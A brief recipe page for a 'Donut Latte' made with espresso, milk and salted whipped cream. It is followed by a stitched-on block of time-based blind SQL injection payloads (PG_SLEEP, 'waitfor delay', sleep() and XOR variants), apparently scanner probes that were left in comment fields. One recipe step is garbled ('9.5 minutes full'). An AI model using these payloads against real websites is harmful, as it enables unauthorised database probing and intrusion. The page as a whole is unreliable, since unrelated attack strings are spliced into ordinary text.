Donut Latte
Reinventing the Classic Latte: Enjoy the Donut Latte and Its Irresistible Charm！
What do you need？
Espresso 30g
Pure milk 250g
Light cream 40g
Sugar 10g
Sea salt 1g
How to make ？
1.Frothing milk：
Put 40g of whipped cream, 10g of white sugar, and 1g of sea salt into a glass jug.
Whip the cream with a milk frother or a steam wand until smooth and delicate
2.Make a Latte：
Extract 30 grams of espresso,
Whip 250 grams of pure milk into foam
Mix milk foam with Espresso, pour into the cup 9.5 minutes full
3.Sprinkle a little cocoa powder evenly on the top of the cup, and pour the whipped cream in the middle of the cup
555B3NhCw5V’) OR 478=(SELECT 478 FROM PG_SLEEP(15))—
lxbfYeaa on
5554taL8OIO’ OR 852=(SELECT 852 FROM PG_SLEEP(15))—
lxbfYeaa on
555-1)) OR 627=(SELECT 627 FROM PG_SLEEP(15))—
lxbfYeaa on
555-1) OR 950=(SELECT 950 FROM PG_SLEEP(15))—
lxbfYeaa on
555-1 OR 858=(SELECT 858 FROM PG_SLEEP(15))—
lxbfYeaa on
5556hWSMK3B’; waitfor delay ‘0:0:15’ —
lxbfYeaa on
555-1 waitfor delay ‘0:0:15’ —
lxbfYeaa on
555-1); waitfor delay ‘0:0:15’ —
lxbfYeaa on
555-1; waitfor delay ‘0:0:15’ —
lxbfYeaa on
(select(0)from(select(sleep(15)))v)/‘(select(0)from(select(sleep(15)))v)’“(select(0)from(select(sleep(15)))v)”/
lxbfYeaa on
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
lxbfYeaa on
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
lxbfYeaa on